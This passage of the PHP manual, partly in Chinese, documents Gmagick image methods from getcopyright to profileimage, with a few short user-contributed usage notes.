Returns the GraphicsMagick API copyright as a string.

参数

此函数没有参数。

返回值

Returns a string containing the copyright notice of GraphicsMagick and Magickwand C API.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


The filename associated with an image sequence

  • ? Gmagick::getcopyright
  • Gmagick::getimagebackgroundcolor ?
  • PHP Manual
  • Gmagick
  • The filename associated with an image sequence

Gmagick::getfilename

(PECL gmagick >= Unknown)

Gmagick::getfilename — The filename associated with an image sequence

说明

public Gmagick::getfilename(): string

Returns the filename associated with an image sequence.

参数

此函数没有参数。

返回值

Returns a string on success.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the image background color

  • ? Gmagick::getfilename
  • Gmagick::getimageblueprimary ?
  • PHP Manual
  • Gmagick
  • Returns the image background color

Gmagick::getimagebackgroundcolor

(PECL gmagick >= Unknown)

Gmagick::getimagebackgroundcolor — Returns the image background color

说明

public Gmagick::getimagebackgroundcolor(): GmagickPixel

Returns the image background color.

参数

此函数没有参数。

返回值

Returns an GmagickPixel set to the background color of the image.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the chromaticy blue primary point

  • ? Gmagick::getimagebackgroundcolor
  • Gmagick::getimagebordercolor ?
  • PHP Manual
  • Gmagick
  • Returns the chromaticy blue primary point

Gmagick::getimageblueprimary

(PECL gmagick >= Unknown)

Gmagick::getimageblueprimary — Returns the chromaticy blue primary point

说明

public Gmagick::getimageblueprimary(): array

Returns the chromaticity blue primary point for the image.

参数

x

The chromaticity blue primary x-point.

y

The chromaticity blue primary y-point.

返回值

Array consisting of "x" and "y" coordinates of point.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the image border color

  • ? Gmagick::getimageblueprimary
  • Gmagick::getimagechanneldepth ?
  • PHP Manual
  • Gmagick
  • Returns the image border color

Gmagick::getimagebordercolor

(PECL gmagick >= Unknown)

Gmagick::getimagebordercolor — Returns the image border color

说明

public Gmagick::getimagebordercolor(): GmagickPixel

Returns the image border color.

参数

此函数没有参数。

返回值

GmagickPixel object representing the color of the border.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the depth for a particular image channel

  • ? Gmagick::getimagebordercolor
  • Gmagick::getimagecolors ?
  • PHP Manual
  • Gmagick
  • Gets the depth for a particular image channel

Gmagick::getimagechanneldepth

(PECL gmagick >= Unknown)

Gmagick::getimagechanneldepth — Gets the depth for a particular image channel

说明

public Gmagick::getimagechanneldepth(int $channel_type): int

Gets the depth for a particular image channel.

参数

此函数没有参数。

返回值

Depth of image channel

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the color of the specified colormap index

  • ? Gmagick::getimagechanneldepth
  • Gmagick::getimagecolorspace ?
  • PHP Manual
  • Gmagick
  • Returns the color of the specified colormap index

Gmagick::getimagecolors

(PECL gmagick >= Unknown)

Gmagick::getimagecolors — Returns the color of the specified colormap index

说明

public Gmagick::getimagecolors(): int

Returns the color of the specified colormap index.

参数

此函数没有参数。

返回值

The number of colors in image.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the image colorspace

  • ? Gmagick::getimagecolors
  • Gmagick::getimagecompose ?
  • PHP Manual
  • Gmagick
  • Gets the image colorspace

Gmagick::getimagecolorspace

(PECL gmagick >= Unknown)

Gmagick::getimagecolorspace — Gets the image colorspace

说明

public Gmagick::getimagecolorspace(): int

Gets the image colorspace.

参数

此函数没有参数。

返回值

Colorspace

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the composite operator associated with the image

  • ? Gmagick::getimagecolorspace
  • Gmagick::getimagedelay ?
  • PHP Manual
  • Gmagick
  • Returns the composite operator associated with the image

Gmagick::getimagecompose

(PECL gmagick >= Unknown)

Gmagick::getimagecompose — Returns the composite operator associated with the image

说明

public Gmagick::getimagecompose(): int

Returns the composite operator associated with the image.

参数

此函数没有参数。

返回值

Returns the composite operator associated with the image.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the image delay

  • ? Gmagick::getimagecompose
  • Gmagick::getimagedepth ?
  • PHP Manual
  • Gmagick
  • Gets the image delay

Gmagick::getimagedelay

(PECL gmagick >= Unknown)

Gmagick::getimagedelay — Gets the image delay

说明

public Gmagick::getimagedelay(): int

Gets the image delay

参数

此函数没有参数。

返回值

Returns the composite operator associated with the image.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the depth of the image

  • ? Gmagick::getimagedelay
  • Gmagick::getimagedispose ?
  • PHP Manual
  • Gmagick
  • Gets the depth of the image

Gmagick::getimagedepth

(PECL gmagick >= Unknown)

Gmagick::getimagedepth — Gets the depth of the image

说明

public Gmagick::getimagedepth(): int

Gets the depth of the image.

参数

此函数没有参数。

返回值

Image depth

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the image disposal method

  • ? Gmagick::getimagedepth
  • Gmagick::getimageextrema ?
  • PHP Manual
  • Gmagick
  • Gets the image disposal method

Gmagick::getimagedispose

(PECL gmagick >= Unknown)

Gmagick::getimagedispose — Gets the image disposal method

说明

public Gmagick::getimagedispose(): int

Gets the image disposal method

参数

此函数没有参数。

返回值

Returns the dispose method on success.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the extrema for the image

  • ? Gmagick::getimagedispose
  • Gmagick::getimagefilename ?
  • PHP Manual
  • Gmagick
  • Gets the extrema for the image

Gmagick::getimageextrema

(PECL gmagick >= Unknown)

Gmagick::getimageextrema — Gets the extrema for the image

说明

public Gmagick::getimageextrema(): array

Returns an associative array with the keys "min" and "max". 错误时抛出 GmagickException。

参数

此函数没有参数。

返回值

Returns an associative array with the keys "min" and "max".

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the filename of a particular image in a sequence

  • ? Gmagick::getimageextrema
  • Gmagick::getimageformat ?
  • PHP Manual
  • Gmagick
  • Returns the filename of a particular image in a sequence

Gmagick::getimagefilename

(PECL gmagick >= Unknown)

Gmagick::getimagefilename — Returns the filename of a particular image in a sequence

说明

public Gmagick::getimagefilename(): string

Returns the filename of a particular image in a sequence

参数

此函数没有参数。

返回值

Returns a string with the filename of the image

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the format of a particular image in a sequence

  • ? Gmagick::getimagefilename
  • Gmagick::getimagegamma ?
  • PHP Manual
  • Gmagick
  • Returns the format of a particular image in a sequence

Gmagick::getimageformat

(PECL gmagick >= Unknown)

Gmagick::getimageformat — Returns the format of a particular image in a sequence

说明

public Gmagick::getimageformat(): string

Returns the format of a particular image in a sequence.

参数

此函数没有参数。

返回值

Returns a string containing the image format on success.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the image gamma

  • ? Gmagick::getimageformat
  • Gmagick::getimagegreenprimary ?
  • PHP Manual
  • Gmagick
  • Gets the image gamma

Gmagick::getimagegamma

(PECL gmagick >= Unknown)

Gmagick::getimagegamma — Gets the image gamma

说明

public Gmagick::getimagegamma(): float

Gets the image gamma

参数

此函数没有参数。

返回值

Returns the image gamma on success

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the chromaticy green primary point

  • ? Gmagick::getimagegamma
  • Gmagick::getimageheight ?
  • PHP Manual
  • Gmagick
  • Returns the chromaticy green primary point

Gmagick::getimagegreenprimary

(PECL gmagick >= Unknown)

Gmagick::getimagegreenprimary — Returns the chromaticy green primary point

说明

public Gmagick::getimagegreenprimary(): array

Returns the chromaticity green primary point. Returns an array with the keys "x" and "y".

参数

此函数没有参数。

返回值

Returns an array with the keys "x" and "y" on success.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the image height

  • ? Gmagick::getimagegreenprimary
  • Gmagick::getimagehistogram ?
  • PHP Manual
  • Gmagick
  • Returns the image height

Gmagick::getimageheight

(PECL gmagick >= Unknown)

Gmagick::getimageheight — Returns the image height

说明

public Gmagick::getimageheight(): int

Returns the image height

参数

此函数没有参数。

返回值

Returns the image height in pixels.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the image histogram

  • ? Gmagick::getimageheight
  • Gmagick::getimageindex ?
  • PHP Manual
  • Gmagick
  • Gets the image histogram

Gmagick::getimagehistogram

(PECL gmagick >= Unknown)

Gmagick::getimagehistogram — Gets the image histogram

说明

public Gmagick::getimagehistogram(): array

Returns the image histogram as an array of GmagickPixel objects. Throw an GmagickException on error.

参数

此函数没有参数。

返回值

Returns the image histogram as an array of GmagickPixel objects.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the index of the current active image

  • ? Gmagick::getimagehistogram
  • Gmagick::getimageinterlacescheme ?
  • PHP Manual
  • Gmagick
  • Gets the index of the current active image

Gmagick::getimageindex

(PECL gmagick >= Unknown)

Gmagick::getimageindex — Gets the index of the current active image

说明

public Gmagick::getimageindex(): int

Returns the index of the current active image within the Gmagick object.

参数

此函数没有参数。

返回值

Index of current active image.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the image interlace scheme

  • ? Gmagick::getimageindex
  • Gmagick::getimageiterations ?
  • PHP Manual
  • Gmagick
  • Gets the image interlace scheme

Gmagick::getimageinterlacescheme

(PECL gmagick >= Unknown)

Gmagick::getimageinterlacescheme — Gets the image interlace scheme

说明

public Gmagick::getimageinterlacescheme(): int

Gets the image interlace scheme.

参数

此函数没有参数。

返回值

Returns the interlace scheme as an integer on success

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the image iterations

  • ? Gmagick::getimageinterlacescheme
  • Gmagick::getimagematte ?
  • PHP Manual
  • Gmagick
  • Gets the image iterations

Gmagick::getimageiterations

(PECL gmagick >= Unknown)

Gmagick::getimageiterations — Gets the image iterations

说明

public Gmagick::getimageiterations(): int

Gets the image iterations.

参数

此函数没有参数。

返回值

Returns the image iterations as an integer.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Check if the image has a matte channel

  • ? Gmagick::getimageiterations
  • Gmagick::getimagemattecolor ?
  • PHP Manual
  • Gmagick
  • Check if the image has a matte channel

Gmagick::getimagematte

(PECL gmagick >= Unknown)

Gmagick::getimagematte — Check if the image has a matte channel

说明

public Gmagick::getimagematte(): int

Returns true if the image has a matte channel, otherwise false.

参数

此函数没有参数。

返回值

Returns true if the image has a matte channel, otherwise false.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the image matte color

  • ? Gmagick::getimagematte
  • Gmagick::getimageprofile ?
  • PHP Manual
  • Gmagick
  • Returns the image matte color

Gmagick::getimagemattecolor

(PECL gmagick >= Unknown)

Gmagick::getimagemattecolor — Returns the image matte color

说明

public Gmagick::getimagemattecolor(): GmagickPixel

Returns GmagickPixel object on success. Throw an GmagickException on error.

参数

此函数没有参数。

返回值

Returns GmagickPixel object on success.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the named image profile

  • ? Gmagick::getimagemattecolor
  • Gmagick::getimageredprimary ?
  • PHP Manual
  • Gmagick
  • Returns the named image profile

Gmagick::getimageprofile

(PECL gmagick >= Unknown)

Gmagick::getimageprofile — Returns the named image profile

说明

public Gmagick::getimageprofile(string $name): string

Returns the named image profile.

参数

此函数没有参数。

返回值

Returns a string containing the image profile.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the chromaticity red primary point

  • ? Gmagick::getimageprofile
  • Gmagick::getimagerenderingintent ?
  • PHP Manual
  • Gmagick
  • Returns the chromaticity red primary point

Gmagick::getimageredprimary

(PECL gmagick >= Unknown)

Gmagick::getimageredprimary — Returns the chromaticity red primary point

说明

public Gmagick::getimageredprimary(): array

Returns the chromaticity red primary point as an array with the keys "x" and "y".

参数

此函数没有参数。

返回值

Returns the chromaticity red primary point as an array with the keys "x" and "y".

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the image rendering intent

  • ? Gmagick::getimageredprimary
  • Gmagick::getimageresolution ?
  • PHP Manual
  • Gmagick
  • Gets the image rendering intent

Gmagick::getimagerenderingintent

(PECL gmagick >= Unknown)

Gmagick::getimagerenderingintent — Gets the image rendering intent

说明

public Gmagick::getimagerenderingintent(): int

Gets the image rendering intent

参数

此函数没有参数。

返回值

Extracts a region of the image and returns it as a new wand

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the image X and Y resolution

  • ? Gmagick::getimagerenderingintent
  • Gmagick::getimagescene ?
  • PHP Manual
  • Gmagick
  • Gets the image X and Y resolution

Gmagick::getimageresolution

(PECL gmagick >= Unknown)

Gmagick::getimageresolution — Gets the image X and Y resolution

说明

public Gmagick::getimageresolution(): array

Returns the resolution as an array.

参数

此函数没有参数。

返回值

Returns the resolution as an array.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

Clive Walkden 20-Jun-2013 09:17
The array returned is in the format

Array
(
    [x] => 300
    [y] => 300
)


Gets the image scene

  • ? Gmagick::getimageresolution
  • Gmagick::getimagesignature ?
  • PHP Manual
  • Gmagick
  • Gets the image scene

Gmagick::getimagescene

(PECL gmagick >= Unknown)

Gmagick::getimagescene — Gets the image scene

说明

public Gmagick::getimagescene(): int

Gets the image scene.

参数

此函数没有参数。

返回值

Returns the image scene.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Generates an SHA-256 message digest

  • ? Gmagick::getimagescene
  • Gmagick::getimagetype ?
  • PHP Manual
  • Gmagick
  • Generates an SHA-256 message digest

Gmagick::getimagesignature

(PECL gmagick >= Unknown)

Gmagick::getimagesignature — Generates an SHA-256 message digest

说明

public Gmagick::getimagesignature(): string

Generates an SHA-256 message digest for the image pixel stream.

参数

此函数没有参数。

返回值

Returns a string containing the SHA-256 hash of the file.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the potential image type

  • ? Gmagick::getimagesignature
  • Gmagick::getimageunits ?
  • PHP Manual
  • Gmagick
  • Gets the potential image type

Gmagick::getimagetype

(PECL gmagick >= Unknown)

Gmagick::getimagetype — Gets the potential image type

说明

public Gmagick::getimagetype(): int

Gets the potential image type.

参数

此函数没有参数。

返回值

Returns the potential image type.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the image units of resolution

  • ? Gmagick::getimagetype
  • Gmagick::getimagewhitepoint ?
  • PHP Manual
  • Gmagick
  • Gets the image units of resolution

Gmagick::getimageunits

(PECL gmagick >= Unknown)

Gmagick::getimageunits — Gets the image units of resolution

说明

public Gmagick::getimageunits(): int

Gets the image units of resolution.

参数

此函数没有参数。

返回值

Returns the image units of resolution.

User Contributed Notes

There are no user contributed notes for this page.


Returns the chromaticity white point

  • ? Gmagick::getimageunits
  • Gmagick::getimagewidth ?
  • PHP Manual
  • Gmagick
  • Returns the chromaticity white point

Gmagick::getimagewhitepoint

(PECL gmagick >= Unknown)

Gmagick::getimagewhitepoint — Returns the chromaticity white point

说明

public Gmagick::getimagewhitepoint(): array

Returns the chromaticity white point as an associative array with the keys "x" and "y".

参数

此函数没有参数。

返回值

Returns the chromaticity white point as an associative array with the keys "x" and "y".

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the width of the image

  • ? Gmagick::getimagewhitepoint
  • Gmagick::getpackagename ?
  • PHP Manual
  • Gmagick
  • Returns the width of the image

Gmagick::getimagewidth

(PECL gmagick >= Unknown)

Gmagick::getimagewidth — Returns the width of the image

说明

public Gmagick::getimagewidth(): int

Returns the width of the image.

参数

此函数没有参数。

返回值

Returns the image width.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the GraphicsMagick package name

  • ? Gmagick::getimagewidth
  • Gmagick::getquantumdepth ?
  • PHP Manual
  • Gmagick
  • Returns the GraphicsMagick package name

Gmagick::getpackagename

(PECL gmagick >= Unknown)

Gmagick::getpackagename — Returns the GraphicsMagick package name

说明

public Gmagick::getpackagename(): string

Returns the GraphicsMagick package name.

参数

此函数没有参数。

返回值

Returns the GraphicsMagick package name as a string.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the Gmagick quantum depth as a string

  • ? Gmagick::getpackagename
  • Gmagick::getreleasedate ?
  • PHP Manual
  • Gmagick
  • Returns the Gmagick quantum depth as a string

Gmagick::getquantumdepth

(PECL gmagick >= Unknown)

Gmagick::getquantumdepth — Returns the Gmagick quantum depth as a string

说明

public Gmagick::getquantumdepth(): array

Returns the Gmagick quantum depth as a string.

参数

此函数没有参数。

返回值

Returns the Gmagick quantum depth as a string.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the GraphicsMagick release date as a string

  • ? Gmagick::getquantumdepth
  • Gmagick::getsamplingfactors ?
  • PHP Manual
  • Gmagick
  • Returns the GraphicsMagick release date as a string

Gmagick::getreleasedate

(PECL gmagick >= Unknown)

Gmagick::getreleasedate — Returns the GraphicsMagick release date as a string

说明

public Gmagick::getreleasedate(): string

Returns the GraphicsMagick release date as a string.

参数

此函数没有参数。

返回值

Returns the GraphicsMagick release date as a string.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the horizontal and vertical sampling factor

  • ? Gmagick::getreleasedate
  • Gmagick::getsize ?
  • PHP Manual
  • Gmagick
  • Gets the horizontal and vertical sampling factor

Gmagick::getsamplingfactors

(PECL gmagick >= Unknown)

Gmagick::getsamplingfactors — Gets the horizontal and vertical sampling factor

说明

public Gmagick::getsamplingfactors(): array

Gets the horizontal and vertical sampling factor.

参数

此函数没有参数。

返回值

Returns an associative array with the horizontal and vertical sampling factors of the image.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the size associated with the Gmagick object

  • ? Gmagick::getsamplingfactors
  • Gmagick::getversion ?
  • PHP Manual
  • Gmagick
  • Returns the size associated with the Gmagick object

Gmagick::getsize

(PECL gmagick >= Unknown)

Gmagick::getsize — Returns the size associated with the Gmagick object

说明

public Gmagick::getsize(): array

Returns the size associated with the Gmagick object as an array with the keys "columns" and "rows".

参数

此函数没有参数。

返回值

Returns the size associated with the Gmagick object as an array with the keys "columns" and "rows".

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the GraphicsMagick API version

  • ? Gmagick::getsize
  • Gmagick::hasnextimage ?
  • PHP Manual
  • Gmagick
  • Returns the GraphicsMagick API version

Gmagick::getversion

(PECL gmagick >= Unknown)

Gmagick::getversion — Returns the GraphicsMagick API version

说明

public Gmagick::getversion(): array

Returns the GraphicsMagick API version as a string and as a number.

参数

此函数没有参数。

返回值

Returns the GraphicsMagick API version as a string and as a number.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Checks if the object has more images

  • ? Gmagick::getversion
  • Gmagick::haspreviousimage ?
  • PHP Manual
  • Gmagick
  • Checks if the object has more images

Gmagick::hasnextimage

(PECL gmagick >= Unknown)

Gmagick::hasnextimage — Checks if the object has more images

说明

public Gmagick::hasnextimage(): mixed

Returns true if the object has more images when traversing the list in the forward direction.

参数

此函数没有参数。

返回值

Returns true if the object has more images when traversing the list in the forward direction, returns false if there are none.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Checks if the object has a previous image

  • ? Gmagick::hasnextimage
  • Gmagick::implodeimage ?
  • PHP Manual
  • Gmagick
  • Checks if the object has a previous image

Gmagick::haspreviousimage

(PECL gmagick >= Unknown)

Gmagick::haspreviousimage — Checks if the object has a previous image

说明

public Gmagick::haspreviousimage(): mixed

Returns true if the object has more images when traversing the list in the reverse direction.

参数

此函数没有参数。

返回值

Returns true if the object has more images when traversing the list in the reverse direction, returns false if there are none.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Creates a new image as a copy

  • ? Gmagick::haspreviousimage
  • Gmagick::labelimage ?
  • PHP Manual
  • Gmagick
  • Creates a new image as a copy

Gmagick::implodeimage

(PECL gmagick >= Unknown)

Gmagick::implodeimage — Creates a new image as a copy

说明

public Gmagick::implodeimage(float $radius): mixed

Creates a new image that is a copy of an existing one with the image pixels "imploded" by the specified percentage.

参数

radius

The radius of the implode.

返回值

Returns imploded Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Adds a label to an image

  • ? Gmagick::implodeimage
  • Gmagick::levelimage ?
  • PHP Manual
  • Gmagick
  • Adds a label to an image

Gmagick::labelimage

(PECL gmagick >= Unknown)

Gmagick::labelimage — Adds a label to an image

说明

public Gmagick::labelimage(string $label): mixed

Adds a label to an image.

参数

label

The label to add

返回值

Gmagick with label.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Adjusts the levels of an image

  • ? Gmagick::labelimage
  • Gmagick::magnifyimage ?
  • PHP Manual
  • Gmagick
  • Adjusts the levels of an image

Gmagick::levelimage

(PECL gmagick >= Unknown)

Gmagick::levelimage — Adjusts the levels of an image

说明

public Gmagick::levelimage(
float $blackPoint,
float $gamma,
float $whitePoint,
int $channel = Gmagick::CHANNEL_DEFAULT
): mixed

Adjusts the levels of an image by scaling the colors falling between specified white and black points to the full available quantum range. The parameters provided represent the black, mid, and white points. The black point specifies the darkest color in the image. Colors darker than the black point are set to zero. Mid point specifies a gamma correction to apply to the image. White point specifies the lightest color in the image. Colors brighter than the white point are set to the maximum quantum value.

参数

blackPoint

The image black point.

gamma

The gamma value.

whitePoint

The image white point.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

返回值

Gmagick object with image leveled.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Scales an image proportionally 2x

  • ? Gmagick::levelimage
  • Gmagick::mapimage ?
  • PHP Manual
  • Gmagick
  • Scales an image proportionally 2x

Gmagick::magnifyimage

(PECL gmagick >= Unknown)

Gmagick::magnifyimage — Scales an image proportionally 2x

说明

public Gmagick::magnifyimage(): mixed

Conveniently scales an image proportionally to twice its original size.

参数

此函数没有参数。

返回值

Magnified Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Replaces the colors of an image with the closest color from a reference image

  • ? Gmagick::magnifyimage
  • Gmagick::medianfilterimage ?
  • PHP Manual
  • Gmagick
  • Replaces the colors of an image with the closest color from a reference image

Gmagick::mapimage

(PECL gmagick >= Unknown)

Gmagick::mapimage — Replaces the colors of an image with the closest color from a reference image

说明

public Gmagick::mapimage(gmagick $gmagick, bool $dither): Gmagick

Replaces the colors of an image with the closest color from a reference image.

参数

gmagick

The reference image.

dither

Set this integer value to something other than zero to dither the mapped image.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Applies a digital filter

  • ? Gmagick::mapimage
  • Gmagick::minifyimage ?
  • PHP Manual
  • Gmagick
  • Applies a digital filter

Gmagick::medianfilterimage

(PECL gmagick >= Unknown)

Gmagick::medianfilterimage — Applies a digital filter

说明

public Gmagick::medianfilterimage(float $radius): void

Applies a digital filter that improves the quality of a noisy image. Each pixel is replaced by the median in a set of neighboring pixels as defined by radius.

参数

radius

The radius of the pixel neighborhood.

返回值

Gmagick object with median filter applied.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

jeff at arizonacoders dot com 12-Mar-2015 09:40
For people like me who like a quick reference, the filters are:

FILTER_UNDEFINED => UndefinedFilter
FILTER_POINT => PointFilter
FILTER_BOX => BoxFilter
FILTER_TRIANGLE => TriangleFilter
FILTER_HERMITE => HermiteFilter
FILTER_HANNING => HanningFilter
FILTER_HAMMING => HammingFilter
FILTER_BLACKMAN => BlackmanFilter
FILTER_GAUSSIAN => GaussianFilter
FILTER_QUADRATIC => QuadraticFilter
FILTER_CUBIC => CubicFilter
FILTER_CATROM => CatromFilter
FILTER_MITCHELL => MitchellFilter
FILTER_LANCZOS => LanczosFilter
FILTER_BESSEL => BesselFilter
FILTER_SINC => SincFilter

Ref: https://github.com/vitoc/gmagick/blob/master/gmagick_helpers.c


Scales an image proportionally to half its size

  • ? Gmagick::medianfilterimage
  • Gmagick::modulateimage ?
  • PHP Manual
  • Gmagick
  • Scales an image proportionally to half its size

Gmagick::minifyimage

(PECL gmagick >= Unknown)

Gmagick::minifyimage — Scales an image proportionally to half its size

说明

public Gmagick::minifyimage(): Gmagick

A convenient method that scales an image proportionally to one-half its original size.

参数

此函数没有参数。

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Control the brightness, saturation, and hue

  • ? Gmagick::minifyimage
  • Gmagick::motionblurimage ?
  • PHP Manual
  • Gmagick
  • Control the brightness, saturation, and hue

Gmagick::modulateimage

(PECL gmagick >= Unknown)

Gmagick::modulateimage — Control the brightness, saturation, and hue

说明

public Gmagick::modulateimage(float $brightness, float $saturation, float $hue): Gmagick

Lets you control the brightness, saturation, and hue of an image. Hue is the percentage of absolute rotation from the current position. For example 50 results in a counter-clockwise rotation of 90 degrees, 150 results in a clockwise rotation of 90 degrees, with 0 and 200 both resulting in a rotation of 180 degrees.

参数

brightness

The percent change in brighness (-100 thru +100).

saturation

The percent change in saturation (-100 thru +100)

hue

The percent change in hue (-100 thru +100)

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Simulates motion blur

  • ? Gmagick::modulateimage
  • Gmagick::newimage ?
  • PHP Manual
  • Gmagick
  • Simulates motion blur

Gmagick::motionblurimage

(PECL gmagick >= Unknown)

Gmagick::motionblurimage — Simulates motion blur

说明

public Gmagick::motionblurimage(float $radius, float $sigma, float $angle): Gmagick

Simulates motion blur. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and Gmagick::motionblurimage() selects a suitable radius for you. Angle gives the angle of the blurring motion.

参数

radius

The radius of the Gaussian, in pixels, not counting the center pixel.

sigma

The standard deviation of the Gaussian, in pixels.

angle

Apply the effect along this angle.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Creates a new image

  • ? Gmagick::motionblurimage
  • Gmagick::nextimage ?
  • PHP Manual
  • Gmagick
  • Creates a new image

Gmagick::newimage

(PECL gmagick >= Unknown)

Gmagick::newimage — Creates a new image

说明

public Gmagick::newimage(
int $width,
int $height,
string $background,
string $format = ?
): Gmagick

Creates a new image with the specified background color.

参数

width

Width of the new image.

height

Height of the new image.

background

The background color used for this image (as float).

format

Image format.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

evitceted 07-Oct-2019 11:05
To create a png with the transparent background:
newimage(width, height, "transparent", "png")


Moves to the next image

  • ? Gmagick::newimage
  • Gmagick::normalizeimage ?
  • PHP Manual
  • Gmagick
  • Moves to the next image

Gmagick::nextimage

(PECL gmagick >= Unknown)

Gmagick::nextimage — Moves to the next image

说明

public Gmagick::nextimage(): bool

Associates the next image in the image list with an Gmagick object.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Enhances the contrast of a color image

  • ? Gmagick::nextimage
  • Gmagick::oilpaintimage ?
  • PHP Manual
  • Gmagick
  • Enhances the contrast of a color image

Gmagick::normalizeimage

(PECL gmagick >= Unknown)

Gmagick::normalizeimage — Enhances the contrast of a color image

说明

public Gmagick::normalizeimage(int $channel = ?): Gmagick

Enhances the contrast of a color image by adjusting the pixels color to span the entire range of colors available.

参数

channel

Identify which channel to normalize.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Simulates an oil painting

  • ? Gmagick::normalizeimage
  • Gmagick::previousimage ?
  • PHP Manual
  • Gmagick
  • Simulates an oil painting

Gmagick::oilpaintimage

(PECL gmagick >= Unknown)

Gmagick::oilpaintimage — Simulates an oil painting

说明

public Gmagick::oilpaintimage( float $radius ): Gmagick

Applies a special effect filter that simulates an oil painting. Each pixel is replaced by the most frequent color occurring in a circular region defined by radius.

参数

radius

The radius of the circular neighborhood.

返回值

The Gmagick object on success

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Move to the previous image in the object

  • ? Gmagick::oilpaintimage
  • Gmagick::profileimage ?
  • PHP Manual
  • Gmagick
  • Move to the previous image in the object

Gmagick::previousimage

(PECL gmagick >= Unknown)

Gmagick::previousimage — Move to the previous image in the object

说明

public Gmagick::previousimage(): bool

Associates the previous image in an image list with the Gmagick object.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Adds or removes a profile from an image

  • ? Gmagick::previousimage
  • Gmagick::quantizeimage ?
  • PHP Manual
  • Gmagick
  • Adds or removes a profile from an image

Gmagick::profileimage

(PECL gmagick >= Unknown)

Gmagick::profileimage — Adds or removes a profile from an image

说明

public Gmagick::profileimage(string $name, string $profile): Gmagick

